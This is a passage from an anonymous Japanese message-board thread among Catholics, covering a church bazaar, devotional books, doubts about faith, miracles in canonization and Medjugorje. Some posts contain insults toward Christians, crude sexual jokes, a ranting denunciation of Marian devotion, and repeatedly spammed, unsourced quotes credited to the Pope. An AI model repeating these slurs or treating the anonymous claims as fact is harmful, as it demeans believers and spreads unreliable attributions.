ケチ！

>>627
エヘヘ

バザーようやく終了。
気づかれするなあ・・・。

バザーなんてやめたら？
信仰にいいことある？

>>630
>バザーなんてやめたら？
> 信仰にいいことある？

無い。
でも出ないと共同体活動できないからねえ。

>>630

バザーで力仕事やポスター描き、屋台なんかをやったんだが、
けっこう楽しかったし、信者と共同で何かをやり遂げる事を
通じて得られるものもあった。
ちなみに、バザーの準備に行く途中、また狸のドザエモンに
出くわした。新鮮そうなので、持って帰ろうかと思ったが、
さばき方しらねぇもんだから、やっぱやめた。
その話したら、狸の臭さはイノシシなんか目じゃないそうだ。
持って帰らなくてよかったのかも。

楽しいからやってるのか。。。。

神の恵みに感謝。

尊者アグレダのマリア著
「神の都市」甲斐睦興訳
昇る旭日の聖母会：発行　
1760円

という本を古本屋で見つけた。誰か知ってる？この本。
変なんだよ。発行年月日も、発行元の住所も電話もなくて、
振替番号だけ書いてある。ナニこれ？

キリスト教スレって汚いね

ここは汚物の集積所ですか？

>>635

ピオ神父と守護の天使
アレッシオ　パレンテ/[著]甲斐睦興/[訳]
出版社：フリープレス；星雲社
発行：2000-07-20
体裁：２０３ｐ　１８ｃｍ
ISBN：4795230501
価格：1,000円

>>637どうもです。甲斐睦興さんて、
カトリックの翻訳をされてる方ですか。。

ところで、「昇る旭日の聖母会」。
これが分からないんだけど…何、この怪しげな会。
まさか、LP？？？

>>630
＞バザーなんてやめたら？
＞信仰にいいことある？
あると思う。
１．地域密着性が高まる。
２．収益は慈善活動への献金に廻されるので、信仰の功徳になる。
３．終わった後、充実や達成感が得られ、そのカタルシスによりストレス発散になり、教会の精神的メンテナンスにもなる。

＊聖シモン　聖ユダ使徒

シモンの名は、使徒の名簿の11番目に記されている。シモンについては、
「熱心党のシモン」と呼ばれていたことのほかは何も知られていない。タ
ダイとも呼ばれるユダは、最後の晩餐のとき、「主よ、私たちにはご自分
を現そうとなさるのに、世にはそうなさらないのは、なぜでしょうか」（
ヨハネ14.22)とイエスに尋ねた使徒である。

すべてを治められる父よ、私たちは、使徒のあかしを通してあなたへの信
仰に導かれました。使徒シモンとユダの祈りに支えられて、神を信じる人
が日毎に増し、教会が絶えず成長しますように。

>>639

４．試食と建前により、ただで、たらふく食える。
　　（折れなんか、お腹痛くなるまで食えた）

>>639

> あると思う。
> １．地域密着性が高まる。
> ２．収益は慈善活動への献金に廻されるので、信仰の功徳になる。
> ３．終わった後、充実や達成感が得られ、そのカタルシスによりストレス発散になり、教会の精神的メンテナンスにもなる。

それはそうだね。
しかしその一方で日本人コミュニティの陰険さと言ったら。

それを乗り越えられる強靭な精神力と体力を持っているか、
親が教会委員会の重鎮だとかいう事がないとバザーは乗り切れない。

642さんのおっしゃることはよく分かる。漏れは、人の多く来る日は病人
です。対人恐怖症だから、あながち嘘でもないし。
さすがに待降節と復活大祭は、我慢して出ますが。

■【フラッシュ】人体埋め込みチップ、先着10万人は50ドル割引、
　　　株主優待も実施
http://japan.cnet.com/News/Flash/2002/2002-1025-F-3.html?mm
米アプライド・デジタル・ソリューションズは24日(米国時間)、人体埋
め込み用チップ「ベリチップ」の利用を今すぐ予約すれば、50ドル割り
引くと発表した。

>>644
　宇宙人の手先の人ですか

>>645
いえ、もうすぐハロウィンです。

>>645

ウンモ星人って聞いたことある？

>>646
カボチャ大王ですか

>>648
いえ、キャロット王子です。

エリザベス女王は宇宙人だったらしい。

人間も宇宙人。

いえ、クリです。

キャロット王子も宇宙人。

宇宙人ネタ終了していいでしょうか？

>>654
はい、良いですよ。
ところでこれは、誰ですか？

http://www.thrillennium.net/images/pope.jpg

今よりちょっと若いパパ様ですか？

>>656
では、これは誰ですか？

http://www.macrogue.com/chapel_files/pope.jpg
かわいいですね。

元気な頃のパパ様ですか？

>>643
>642さんのおっしゃることはよく分かる。漏れは、人の多く来る日は病人
> です。対人恐怖症だから、あながち嘘でもないし。
> さすがに待降節と復活大祭は、我慢して出ますが。

大変そうね。
最悪年に2回の聖体拝領で許されるみたいだから、
無理にお御堂に行く必要も無いかもね。

寒い。

俺も寒い。
神様、優しく抱きしめて
暖めてよ。

キリエ　キリエ・・・キリエ　エレイソン
呼べど叫べ神はひたすら沈黙・・・

そうでもない。

キリスト教って気持ち悪いな

お前と同類だな。キモ！

>>659
ありがとう。元は小さい教会だから、特に行事が無い限り、寝坊しなければ、
御ミサは大丈夫です、いざとなれば修道院もあるし。でも女子修道院。

>>666
やな数を踏んでしまった。サタンを踏み砕く女のsage。

SAPIO 10/23号　拉致被害者を”見殺し”にした政治家の罪状を列挙する　櫻井よしこ

　９５年３月、当時自民党幹事長だった加藤紘一氏らが中心となり、「国交正常化交渉を作りだすため」という理由で、５０万ｔものコメを北朝鮮に送ることを決めました。
さらに９６年には、国連を通じて６００万ドルの資金を北朝鮮に無償供与しました。
　これだけの莫大な支援と引き換えに、９７年１１月８日、日本政府が求めていた日本人妻の第１陣の帰国がようやく実現しました。しかし、帰国が許されたのは、１８００人
いると言われている日本人妻のうち、わずか１５人。にもかかわらず、日本はさらに７万ｔのコメを北朝鮮に送りました。
　９８年５月、政府は破綻した大阪朝銀の受け皿となった朝銀近畿に対し、３１００億円の公的資金を投入しました。この年の６月、朝鮮赤十字会は「日本人行方不明者はいない」と公表。８月には日本列島を飛び越えて三陸沖にテポドン１号を撃ち込みました。
弱腰外交の日本に「力」をみせつければ、より一層コメや経済援助で譲歩するとの読み
があったとも分析されています。
　９９年１２月には超党派の村山訪朝団が北朝鮮を訪れました。この訪朝後、野中氏は
帰国直後こそ「食料援助はすぐに行なうのではない」と言いましたが、その後、「コメ支援は速やかに行なうべき」と発言を変えました。そして、年明けの２０００年３月７日、日本政府はコメ１０万tの支援を決定しました。
　２０００年４月、約７年半ぶりに日朝国交正常化交渉が再開。６月には金正日総書記と金大中韓国大統領との劇的な首脳会談が行なわれ、同年１０月、日本はさらに５０万tの
コメを北朝鮮に送りました。１２月には朝銀近畿が２次破綻。再び公的資金の投入を求められ、翌０１年１１月、政府はさらに２８９８億円を朝銀に投入しました。
　これまでの度重なる”支援”の結果、拉致問題はどう進展したでしょうか。
０１年１２月１７日、北朝鮮赤十字は、一方的に調査を打ち切りました。そして
１２月２２日には、あの不審船事件がおこったのです。今年３月１２日、柳沢伯夫金融担当大臣は、朝銀にさらに５０００億円もの公的資金を投入すると発表しました。１１１

ぎゃあ。何をしてるんだ、漏れは（ﾟ(Å)ﾟ）

わたしもカトリックです。堅信も受けました。
しかし、まだ信仰というものが今ひとつわからないのです。
イエズスが真の偉人であったことは聖書を読めば理解できるのですが
イエズスが神である、と頭では理解してても今ひとつ実感がわかない
のです。
どうしたら神という存在を身近に、また実感として得ることが
できるのでしょうか？
皆さんはどのようにして、信仰を得るに至ったのでしょう？
教えていただけないでしょうか。

なんだコレは?　煽りか?

「神父様、僕を犯さないで!」
　　　　　　　サレジオ学園子供レイプ事件簿
http://ime.nu/salesio.tripod.com/gyakutai_index.html

　　　　　「神父様、あたしを殺さないで！」
　　　　サレジオ会神父スチュワーデス殺人事件簿
http://ime.nu/www.alpha-net.ne.jp/users2/knight9/sucyuwa-desu.htm

もう飽きた

>>671
私は煽りではありません。
流されるまま洗礼を受け、カトリックの信仰の上に居座っている自分に
若干の違和感を感じてしまうのです。
ミサの時に、なんとはなしに後ろめたい気もしますし。
そこで、みなさんが神様を信じるに至った経緯をぜひ伺いたいと
思ったのです。
また、自分の信仰に疑問を持ったことはないのか、もしあったのなら
どのようにそれを克服して信仰に立ち返ったのか、ということを
知りたく思いまして、レスした次第。

残念なことですが、教会が今までの歩みの中で「すべての人の救い」を説きながら、ある人々を救いから排除したり、その叫びに耳を貸さなかった事実を謙虚に認めることも必要だと思います。
私たちの無関心や無理解から、多くの人々を傷つけ、排除し、彼らを罪に定めてきたことを、大聖年を迎えたいま、真剣に受け止め、反省する必要があるのではないでしょうか。
多くの叫びがあったにもかかわらず、「世俗のこと」、「けがわらしいこと」、「信仰に直接関係ないこと」と決めつけて、叫ぶ場すら提供してこなかったこと、叫ぶ声すら上げることを認めなかったことを、素直に反省したいと思います。

>668
で、赤十字だから、キリスト教に関係しているのでは、と。

>>674
　だったらしかるべきスジに相談しろ。もっとマシなBBSだってあるだろ。
本気だったらこんなトコロにはカキコするはずもない。
　･･･マジレスしてる俺って恥ずかしぃー。

腐ってるねカト・・・

｢悪魔は光の天使になって現れます｣byパウロ

緑スカプラもクソ！LPの宣伝手段！ハエ！
ルドバックも悪魔！すべての悪魔礼拝の発生源！クソ！ハエ！
ラサレットもクソ!預言大外れ!修道女はアル中で死んだ!ハエ！
ドンボスコもクソ!預言大外れ。聖母は悪魔!　
ルルドも糞!　パスカルを盗作してお告げを捏造!悪魔の仕業!糞!
ファティマも糞!　預言大外れ!糞!ハエで決まり!

メジュに行って、悪魔の聖母を拝んだカトリック信徒、司教、司祭、
大司教、枢機卿は皆、悪魔礼拝者、ハエで決まり！ 肩入れする
ナバロも、パパも、悪魔礼拝者! クソ！ハエ!
聖母は悪魔！自覚するしないにかかわらず、聖母崇拝は悪魔礼拝！

秋田の聖母も糞!司教団が否定したのに、厨房伊藤が変節。
修道女は発狂して、施設に収容されたのが証拠！糞！秋田の恥部！

しかるべきスジとはどこでしょう？
２ＣＨは玉石混交。いちおう日本で最大級の掲示板ですし、
不特定多数に疑問を示せるという、他のサイトには得がたい利点が
あるので利用しているのですが。
もし適当なサイトをご存知でしたら教えてください。

　自分で探せ。大教会HPの掲示板とか、ダメか?

>>680

祈りの園の掲示板に行きなはれ

ってか、まず自分の逝ってる教会の神父に聞くのがスジだと思われ。

>>680
Yahooの方がマジレス期待できる。

あとイグナティオとかは？
http://www.ignatius.gr.jp/webforum/wforum.cgi

>>684
アホー板は、知識豊富なヤシが多いが根本的に冷淡。
ヤメトケ。

ヤフーは抗議に弱いんでキリスト教のやりたい放題だからな
キリスト教って内部は腐ってるんだろうが

　内部が腐っていない集団があるとは思えんが。

>>670
聖母文庫から出てる「永遠の常識」石橋理著
お薦めでつ（´ー｀）

>674

参考

どうやってイエスを信じたの？教えてたもれ。
ttp://life.2ch.net/test/read.cgi/psy/1033527880/-100

690

性母文庫から出てる「永遠に強姦」ヤリマン・ポーコチン著
お薦めでつ（´ー｀）

座布団取り上げ。

>>691
ｱﾌｫ　出てお行き

>>670
よくありがちな悩みだ。
というか、結構大切なことだったりするね。
どうやって信じたか、忘れちゃったけど、イエスは言葉。
神の言葉である。という辺りから考えたようなおぼえがあるな。

しかし、679はどしたんだろ〜ね。何があったんだろ？

かなりリアルです。

http://www.nt-productions.com/images/famous/pope.jpg

>>662
『引き裂かれた神の代理人』について、どう思いますか？

>>670
>>674
成人洗礼の人とかは結構、多かれ少なかれ、同じ様な疑問を感じた事があると思うんだよね。
或る意味、自分で信仰を選択したワケだから、その結果に疑問を抱いたり、
あれこれ悩んだりは、有り勝ちだと思う。
でも、あなたの言う『流されるまま洗礼を受け』って意味が良く分からない。
多分、この辺に、今のあなたの疑問が在るように思える。
信仰って、自分で育てていくものだと思うよ。

　　　　　　『フォニー』と名乗る神父。
ｷｬﾊ！

私は、流されるままに、お婆さんに川で拾われ、
猿と犬と雉を仲間にして、鬼退治に行きました。
私の人生って...。

猿と犬と雉だけが仲間ってのは、考えてみると侘しいよなぁ。
よくそのメンツで鬼退治に行ったなぁ。無謀だろ。

桃太郎っていう洗剤（？）があるらしいよ。
川を汚さないらしい。たまちゃんのために
みんなで使おう！桃太郎！

>699

シスターの腹はらませるメジュ狂。
相変わらずネジ切れてるよーだな　(w

桃太郎っていう洗剤（？）があるらしいよ。
川を汚さないらしい。たまちゃんのために
みんなで使おう！桃太郎！

高濃縮多目的植物洗剤
ブラストオフ

冬が近いな。

四季は移り変わる。
都会で四季の変化が見られるのは神社だけだわ。

>>707
>四季は移り変わる。
> 都会で四季の変化が見られるのは神社だけだわ。

んなアホな。

人ん家の庭とか、公園とかも。

仙台教区民は代々、坊ちゃん印の釜あげ石けんと決まってるんじゃ！

>>707
気持ちは分かるが、あきるの教会の信徒さんが怒るぞ。
東京教区に比し、横浜教区は秋でいっぱいのようなイメージが。鎌倉萌え。

NHK「ひきこもり」で番組やネット相談

全国で50万人とも100万人ともいわれる「ひきこもり」。
NHKでは、教育テレビの「にんげんゆうゆう」（月〜木19:30)や特集番組「にんげん広場」（来年2月に放送予定）などを通して、この問題を継続的にとりあげていきます。
31日放送の「にんげんゆうゆう」では、「ひきこもり」の本人や家族、関係者に直接役立つ情報を提供するとともに、サポート体制の現状と今後の課題を考えます。
（出演）
斎藤環（精神科医・佐々木病院診療部長）
田村毅（精神科医・東京学芸大学助教授）
大河原康雄（全国引きこもりKHJ親の会代表補佐）
同時に番組ホームページに「ネット相談室」や「掲示板」を開設し、本人や家族の生の声を積極的に紹介していきます。
「ネット相談室」は、10月15日から12月10日まで期間限定で相談を受け付けます。
（来年から本格的に実施）
http://www.nhk.or.jp/hikikomori/

　　＿＿
　　J＿†_|　　
　　 (,,ﾟДﾟ)　
　　ﾊ￣￣`つ十
　　し　╋｜　
　　 |＿_＿|
　　 ∪ ∪

(*ﾟーﾟ) ルン　俺君です☆
よろしくでつ　　　（´ー｀）

　　＿＿
　　J＿†_|　　
　　 (,,ﾟДﾟ)　
　　ﾊ￣￣`つ十
　　し　╋｜　
　　 |＿_＿|
　　 ∪ ∪

引きこもりの人、日曜の朝に家の近くのミサに来てみては？
キリスト教は、あなたたちのような人のために開かれているから。

「すべて重荷を負うて苦労しているものは、わたしのもとにきなさい。
あなたがたを休ませてあげよう。わたしは柔和で心のへりくだった者であるから、
わたしのくびきを負うて、わたしに学びなさい。そうすれば、あなたがたの魂に
休みが与えられるであろう。わたしのくびきは負いやすく、わたしの荷は軽いから
である」（新約聖書マタイ福音書11章28節から30節）

だいたいにして、昨今、過保護な親が多いんだよな。

ほんの二、三十年前と違って、今の子供は希少価値があるからな。

甘やかすコトによって、その価値を下げてはいるが。

兄弟が多いと、ヒッキーにならないのでは？
専用の部屋を与えないとか。
普通は、量が少ないと質が上がるものだが、現日本の少子化事情は逆だな。

主の平和だぁっ！！

確かに、質は酷く低下しているようだ・・・

キリスト教は他人を見下してバカにしている宗教だよな

キリスト教の日本罵倒が始まった
しかしキリスト教も他人のことをどうこう言えるほど立派ではない罠

強姦して歩いている神父がたくさんいる

　

くるくるヤッホー

日本人は、うぬぼれやすいですからね、気をつけましょう

>>720
>確かに、質は酷く低下しているようだ・・・


少年犯罪の増加の事かな？

まあ、いつの世も年寄りは若者を「最近の者は・・・」と
言っているんだけどね。

>>726

昔はバスジャック、酒鬼薔薇聖徒みたいな事件は無かった。
それに加え、パンティ見えそうな女子高生もほとんどいなかった。
汚ギャルもいなかった（最近聞かないけど）。
筆記体はどんなオチコボレも書けてた。
字もきれいに書けてた。一応、スジの通る文章書けてた。
プラモデルも作れた、だけど今はそんなめんどくさいものやらない
から、メーカーが次々に倒産。
女の子は一途だった。
ほんじゃまあ、魚釣りでもして、気晴らしでもすっか・・・・・・。

ああ、尊敬する神父様が急病で手術になり入院してしまった・・・。
なにか私にできることはないでしょうか。
お見舞いも今はいけないみたいだし。
気が気でありません。

最近のＣＪＭＬの議論は・・・・・
神父が政治語っても、素人以下なのに。

†　バチカンはリトル・ペブルを公認せよ！　†
http://life.2ch.net/test/read.cgi/psy/1035967579/

>>728私も同じ心境。

すぐに公認されます。

すいません。
キリスト教質問箱がどうしても見つからないのでここで質問してみます。
私はいわゆる俗物が大嫌いなんです。自分の能力をことさらに誇示したり、
この世の地位や名誉や肩書きにすがってるヤシを見ると、むかむかーっと
きてつい反抗的な態度に出て損ばかりしています。
神様どうしたらいいでしょうか。

うちのボス！蝿！
福祉業界で儲ける路線ねらうなんて蝿！
あの世にゆくじいさんばあさんもとでに株式会社なみの
金儲け狙うなんて蝿！数字で成果だしたら偉いと思う
その頭の中身、蝿！逝ってよし！氏んでくらはい！
そんな方向付けした厚生労働大臣出て来い！ゴルァ！！

>711(もうここには、来ないとは思うけど・・・）

斉藤環って、PHP出版『若者のすべて』って本書いていた人だね。
「じぶん探し系」と「ひきこもり系」に分けてみた本だった。
Googleしてみたら、こんなんが出てきた。
ttp://www.ni.bekkoame.ne.jp/be1773/jaspm/ringo-momusume-comparison.htm

>共通の基盤
>物質的充足では満たされない世代→成熟できない（自己イメージを持てない）

>じぶん探し系
>個性を主張したいのに無個性。 過度にコミュニケーションを指向する。
>実体的空虚さを知らないがゆえに宗教に走ることがある。自己像が曖昧。
>自信がない。

>ひきこもり系
> 実体的な空虚さを知っている。 内的過程に魅了される。 対人的に淡白。
>自己像が安定。 自己の資質や目標に根拠のない自信を持っている。
>才能が「降りてくる」ことがある。


「宗教に走ることがある」か・・・じゃ、自分はじぶん探し系か？

>733
前半について
人によって、考え方が違うんだと割り切りなさい。

後半について
動機はどうであれ、奉仕をしようというのは、いいことだ。
放置しなさい。

>>735
そういうヤシたいていじじいなんだ。
おらはじじいが大嫌い。
面と向かって一度「逝ってよし」って漢字で
言ってやりたい。

>736
適当に答えたんだけど？

>>737
スマソ
今日は腹にすえかねることがあったのついここで鬱憤をはらして
しまった。ところでおらのレスに勝手にトリップがついてしまう
ようなのだがどうしたらよいのであろうか？
教えてたもれ。ミアモーレ。

>738
見た限り、トリップないけど？「名前#半角英数字」ってなってない？

740

「神は高ぶる者を退け、へりくだる者に恵みを与えられる。」
あなたがたは、神の力強い手のもとにへりくだれ。
時が来れば、神はあなたがたを高くしてくださる。
あなたがたの思い煩いを、すべて神にゆだねよ。
神はあなたがたのことを心にかけてくださる。

>741
日本風に言えば、謙遜の美徳

ﾁﾝｺ揉み揉み…

サイコー

>>739
たびたびスマソでした。
おらが言いたかったのは、おらのHN（名無しさん）をクリックすると
メールソフトが起動してしまうのはなぜかってことだったんです。
試しに自分宛てにメール書こうとしたが、カキコできなかった。
名無しさんの下に横線が入ってメールソフトが起動するように
なってるのをトリップていうのかと思ったんです。

>>741聖書の神様ありがとう！

>>743右の手がしていることを左の手に教えてはならないと
イエズスはおっしゃっている。

主の平和

主の平和

聖公会の一信者ですが、素朴な疑問にマターリと答えていただければ幸いです。
列聖されることと「奇跡」とは結構不可分に結びついているとどこかで読んだような気がするのですが、この21世紀においてそういうことが宣教の妨げになるとお考えのカトリックの方々はおられるのでしょうか？おられるとしたらどのぐらいの割合なのですか。
ちなみに私は奇跡そのものを否定しているのではありません。ただ、例えば友人に伝道しようとしても、奇跡のところはかなり難関だな、と思ってしまうので、そのあたり、カトの一般の信徒の感じ方はどんなもんなんでしょう？

>>747

カトという略称は、無礼であり、また、自らそう言うのは
卑屈だと感じるのは折れだけか？

聖公会はエピ？

アングリ

少なくとも聖公会と正教とは仲良くしたほうが・・・。
親戚みたいなもんなんだし。

この話、どう思う？

　【ＣＪＣ＝東京】米専門誌『バイブリカル・アーキオロジー・レビュー（聖書
考古学雑誌）』１１〜１２月号に、紀元６３年ごろの石灰岩製の約５０センチ×
２５センチの長方形の骨箱が見つかったとする専門家の研究結果が掲載された。
パリ・ソルボンヌ大学の研究者アンドレ・ルメール氏がその人。
　イエス・キリストの兄弟で初期エルサレム教会の指導者とされるヤコブのもの
とみられるのは、骨箱にアラム語で「ヤコブ、ヨセフの息子、イエスの兄弟」と
記されていること。兄弟に言及する例は異例で、その兄弟（イエス）が名を知ら
れていたからだ、と推定される。また「ヤコブ、イエスの兄弟、ヨセフの息子」
とあれば、記述順序から偽物とも判断されるが、そうでない所が本物の可能性を
示すと言う。
　ただし、イエスという名の兄弟がおり、父親がヨセフという名のヤコブは、当
時のエルサレム住民４万人の中で２０人いたと推定されると言う。ただその骨壷
の記されるほどの存在としてのイエスが複数存在したとは考えられず、兄弟と父
親に言及しているもので発見された骨壷は他に１例だけだ、とルメール氏は指摘
する。
　「ユダヤ人の歴史家ヨセフスが、ヤコブが殺されたのは紀元６２年としている
が、これも箱の記述と一致する」とはするものの、なお最終的な結論までには至
っていない。
　同誌サイトは次の通り。
　http://link.crosswalk.com/UM/T.asp?A1.8.8570.2.211487。□

>>752
ﾎｰ

>>747
そうですね。列聖されるためには、
三つ以上の奇跡が、その人（列聖候補者）への祈りを通じて起きた事を立証するか、
その人（列聖候補者）が殉教者でなければいけなかったと思います。
宣教に奇跡が妨げになるかどうかは、分かりません。別に奇跡を信じなくても、
キリストを信じることは出来るでしょうし、むしろ、「見ないのに信じる人は、幸い」と言われてます。
科学と奇跡は、必ずしも相対する必要もないでしょうし。
「奇跡」は信仰の前ではなくて、後に位置するものだと思いますが。

信仰も，合理的ではない．合理性を超えてどうしても
なくてならないもの
人生観を変えるものとおもいますが

>>755
そうなのですが、しかし２チャンに来ているクリスチャンでない人の中には、
どうしても合理的な面でだけ考えようとしてしまい、
合理的でない部分は、非科学的であり迷信であると、決めつけてしまうようです。
未だに啓蒙主義の思想下におかれているようです。
しかも、その枠組みの中で限定された思考しかできていないと言うことに、
彼らは誰も気がついていないばかりか、それこそが正しい思索であるとさえ、思っているようです。
ある意味で、日本の公教育における科学教育に洗脳されてしまっているような気さえします。

アイルランド生まれのジョセフ・ケリー司祭(60)は、ジンバブエ政府を支持する
民兵組織からの脅迫で、ニヤンガのセント・ガブリエル教区から強制退去させら
れ、現在はニヤンガの山中にいるとみられている。今年８月１６日、ケリー司祭
の家に民兵７人が押しかけ、司祭が政府の土地改革政策に反対し、政府を非難
する文書を頒布したとして、司祭に対し強制退去命令が出され、教区を追われ
た。司祭はこの批判を否定し、ジンバブエのカトリック教会上層部も、強制退去
の真相解明を求めて政府に交渉したが、成果は得られていない。

　ケリー司祭の同僚によると、司祭は問題の解決には「神による仲介」しかない
と考え、神との対話を求めて山中にこもったという。この問題について、解決の
糸口を見出せない教会上層部への非難もあるが、教会側は「非常に慎重に扱
われるべき問題」として、今後も調査を続けていくことを約束している。

　ジンバブエでは、２年前から政府が土地改革を強行し、改革を名目に土地の
違法侵犯も起こり、多数の死傷者が出ている。

　　＿＿
　　J＿†_|　　
　　 (,,ﾟДﾟ)　 ch'onjugyo, mideoyo?
　　ﾊ￣￣`つ十
　　し　╋｜　
　　 |＿_＿|
　　 ∪ ∪

全能のゆえに、あなたはすべての人を憐れみ、
回心させようとして、人々の罪を見過ごされる。
あなたは存在するもののすべてを愛し、
お造りになったものを何一つ嫌われない。
・・・
命を愛される主よ、すべてはあなたのもの、
あなたはすべてをいとおしまれる。
　　（知恵の書11:23〜26）

　　＿＿
　　J＿†_|　　
　　 (,,ﾟДﾟ)　 ne, cheoneun ch'onjugyoreul mideoyo.
　　ﾊ￣￣`つ十
　　し　╋｜　
　　 |＿_＿|
　　 ∪ ∪

　　＿＿
　　J＿†_|　　
　　 (,,ﾟДﾟ)　
　　ﾊ￣￣`つ十
　　し　╋｜　
　　 |＿_＿|
　　 ∪ ∪

あげ

主の平和

主の平和

http://www.google.com/search?q=%83%7D%83%8A%83%84%90%92%8Ch&hl=ja&btnG=%8C%9F%8D%F5%8AJ%8En

メジュゴリエは聖母マリア様の真実の出現地です。
教皇様のお言葉をききましょう。

「メジュゴリエの聖母は米国を救います」(1994年米国人巡礼団へ)
「今の世界は超自然を失っています。多くの人がそれを求めて、祈り、
断食、告解を通して、メジュゴリエでそれを見出しています」（1989年
8月1日、ニリッツァ司教へ）
「私が教皇でなかったなら、巡礼者とともに働きを助けるために、メジュ
ゴリエに行っていたでしょう」（トマセク枢機卿へ）
「メジュゴリエはファチマの実現であり、継続です」（1984年3月）
「メジュゴリエに巡礼して告解するのはよいことです」（1989年3月14日、
アメリカのシルベスター・トレイニン司教へ）
「メジュゴリエで何も起きていないというのは、祈りに満ちた無数の生き
証人を否定すること」（マイケル・Ｄ・プファイファー司教へ）
「メジュゴリエは霊性の一大センターです!」（教皇ヨハネ・パウロ二世、
1990年2月24日）
「私がともにいると、メジュゴリエの人々にいいなさい。メジュゴリエを
守ってください!」（1992年6月17日、ゾブコ神父へ）
「メジュゴリエに関するすべてを認めます」（1995年2月、ボリビアのラパ
ス、アスンシオン大司教へ）

http://www.aracnet.com/~cfpw/what_does_the_church_say_about_medjugorje_.html

メジュゴリエは悪魔です

>>747
聖座は、奇跡を条件にしていますが、必ずしも奇跡は必要ではないと思われ。
最近なら聖コルベやマザーテレサ、大昔の砂漠の隠修士なんて、信仰自体が奇
跡的である。そんな彼らを崇敬し手本とするするのに、さらに神への取り次ぎ
を求めるというのは、いささかやり過ぎではないか。

>>752
本当ならえらいこっちゃ。終生童貞の教義が崩れてしまう。

>>768
そこまで、条件を広げたら
私は、自分の家に「奇跡」が起きているので巡礼地として認定せよ
と言い出すだろう。たぶん

>>768
メジュゴリエの聖母を信じなさい

>>769
正教会を見れば分かるけれど、万一、そんなドキュソがあらわれても、
排斥されるよ。

メジュは馬鹿が信じます

age

>>772なら、教皇様はバカなのですね？あなたは大罪を犯しています。教皇様のお言葉をききましょう。
http://www.aracnet.com/~cfpw/what_does_the_church_say_about_medjugorje_.html

「メジュゴリエの聖母は米国を救います」(1994年米国人巡礼団へ)
「今の世界は超自然を失っています。多くの人がそれを求めて、祈り、
断食、告解を通して、メジュゴリエでそれを見出しています」（1989年
8月1日、ニリッツァ司教へ）
「私が教皇でなかったなら、巡礼者とともに働きを助けるために、メジュ
ゴリエに行っていたでしょう」（トマセク枢機卿へ）
「メジュゴリエはファチマの実現であり、継続です」（1984年3月）
「メジュゴリエに巡礼して告解するのはよいことです」（1989年3月14日、
アメリカのシルベスター・トレイニン司教へ）
「メジュゴリエで何も起きていないというのは、祈りに満ちた無数の生き
証人を否定すること」（マイケル・Ｄ・プファイファー司教へ）
「メジュゴリエは霊性の一大センターです!」（教皇ヨハネ・パウロ二世、
1990年2月24日）
「私がともにいると、メジュゴリエの人々にいいなさい。メジュゴリエを
守ってください!」（1992年6月17日、ゾブコ神父へ）
「メジュゴリエに関するすべてを認めます」（1995年2月、ボリビアのラパ
ス、アスンシオン大司教へ）

７７７

>>774

メジュの十の秘密はどうなった？

77777777777777

777

韓国の文闡明先生はメシアです

800

諸聖人の祭日の翌日にすべての死者を記念する習慣は、998年にクリュニー
修道院のオディロンによって始められ、クリュニーの修道士たちの影響に
よって11世紀には広く行われるようになった。ローマ教会には1311年の暦
に初めて記されているが、それ以前からローマでもこの記念が行われてい
たと思われる。
恵み豊かな神よ、復活された御子キリストに従う私たちの信仰を強め、死
者の復活を待つ私たちの希望を不動のものとしてください。

尊者エンメリックはメジュについて何か幻視していますか？
またシスタールチアがメジュを否定しているのは本当ですか？

主の平和

メジュゴリエの宣伝マン「シスター・ブリージ」は、ＬＰスレでも顰蹙を買っている模様です。
メジュ狂信者のやり口がうかがえる一コマですね。

197 ：名無しさん＠１周年 ：02/11/02 09:34　　　
>>195
それをなぜこちらに貼り付ける必要があるのでしょうか？
リトル･ペブル信者が、どういう精神状態にあるか、想像がつかないわけでもないでしょう。
無分別なコピペはやめて頂きたい。

会話したいんだけど、ちょっと頭がぼーっとしてて
コンテキストが読み取れない。
だから主の平和！

主の平和

メジュゴリエはマリア様の真実の出現地。教皇様のお言葉をききましょう。

「メジュゴリエの聖母は米国を救います」(1994年米国人巡礼団へ)
「今の世界は超自然を失っています。多くの人がそれを求めて、祈り、
断食、告解を通して、メジュゴリエでそれを見出しています」（1989年
8月1日、ニリッツァ司教へ）
「私が教皇でなかったなら、巡礼者とともに働きを助けるために、メジュ
ゴリエに行っていたでしょう」（トマセク枢機卿へ）
「メジュゴリエはファチマの実現であり、継続です」（1984年3月）
「メジュゴリエに巡礼して告解するのはよいことです」（1989年3月14日、
アメリカのシルベスター・トレイニン司教へ）
「メジュゴリエで何も起きていないというのは、祈りに満ちた無数の生き
証人を否定すること」（マイケル・Ｄ・プファイファー司教へ）
「メジュゴリエは霊性の一大センターです!」（教皇ヨハネ・パウロ二世、
1990年2月24日）
「私がともにいると、メジュゴリエの人々にいいなさい。メジュゴリエを
守ってください!」（1992年6月17日、ゾブコ神父へ）
「メジュゴリエに関するすべてを認めます」（1995年2月、ボリビアのラパ
ス、アスンシオン大司教へ）

http://www.aracnet.com/~cfpw/what_does_the_church_say_about_medjugorje_.html

�@マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記２０章４節
�A偶像礼拝をすると悪霊と交わる事になります。第１コリント１０章２０節
�B人は、ただキリスト・イエスを信じる信仰によって義と認められ救われるのであり、マリヤ崇敬によって救われるものではありません。ガラテヤ２章１６節
�C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第１テモテ２章５節
�Dイエスは霊においては父なる神と等しく、肉においては人と同じです。主イエスが人として生まれたのはマリヤからですが、神と同質の神の御子として生まれたのは造られたすべてのものより先であり、マリヤは神の母では有り得ません。コロサイ１章１５節
�E聖書のどこにも（外典にさえ）「マリヤ崇敬をせよ」とは書かれていません。黙示録２２章１８節
�Fカトリック教徒が聖伝と呼ぶものは、正典に匹敵するものではなく、信仰基準とは成り得ません。内容が正典に反するものなど論外です。マルコ７章８節

以上のように、マリヤ崇敬が間違いである事は確実であり、反論の余地は全くなく、一見、反論のような書き込みがあっても、それは全て詭弁に過ぎません。又、いくら詭弁を並べても、荒らしても、マリヤ崇敬が間違いであるという事実は変動しません。
マリヤ崇敬は聖書に反する行為です。それに伴う奇跡は、癒しを含めて、悪霊による怪奇現象と、人と悪霊による演出です。

主の平和！！

静かな夜だ。これもまたよい。

みなさん今日は主日です。
今夜はもうおやすみになり、
朝のミサへ行きましょう。

主の平和

さ　む　い　...

く　ら　い　...

>>793
>>794
どこにいるの？
ひょっとして○獄？

良い子のみんなっ！
ミサには行ったかなぁ〜？


う〜〜ん？　どうした？
元気がないなっ。返事が聞こえないぞぉ！？

>796
・・・・・・・・・・・・・・行ったけど？

なんかマタイ福音23章1節から12節を使って、
「高ぶったら、だめで、へりくだれ。」って言っていた。
